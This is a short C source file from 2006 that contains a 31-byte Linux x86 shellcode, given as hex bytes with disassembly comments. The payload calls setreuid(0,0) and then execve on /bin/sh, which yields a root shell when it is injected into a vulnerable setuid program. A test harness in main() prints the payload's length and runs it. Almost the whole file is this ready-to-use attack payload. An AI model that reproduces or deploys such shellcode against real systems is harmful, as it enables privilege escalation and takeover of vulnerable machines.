/*
 * revenge-setreuid2.c, v1.0 2006/10/06 16:53
 *
 * linux/x86 setreuid(0,0) + execve("/bin//sh", ["/bin//sh"], NULL) shellcode
 *
 * [    setreuid (8 bytes) + execve (23 bytes)  = 31 bytes     ]
 * [                                                           ]
 * [	Read revenge-setuid2.c, works regardless of the suid   ]
 * [	bit.						       ]
 * [                                                           ]
 *
 * http://www.0xcafebabe.it
 * <revenge@0xcafebabe.it>
 *
 */

char sc[] =
        "\xb0\x46"                    // mov    $0x46,%al
        "\x31\xdb"                    // xor    %ebx,%ebx
        "\x31\xc9"                    // xor    %ecx,%ecx
        "\xcd\x80"                    // int    $0x80
        "\xb0\x0b"                    // mov    $0xb,%al
        "\x99"                        // cltd
        "\x52"                        // push   %edx
        "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
        "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
        "\x89\xe3"                    // mov    %esp,%ebx
        "\x52"                        // push   %edx
        "\x53"                        // push   %ebx
        "\x89\xe1"                    // mov    %esp,%ecx
        "\xcd\x80"                    // int    $0x80
;

int main()
{
        void    (*fp)(void) = (void (*)(void))sc;

        printf("Length: %d\n",strlen(sc));
        fp();
}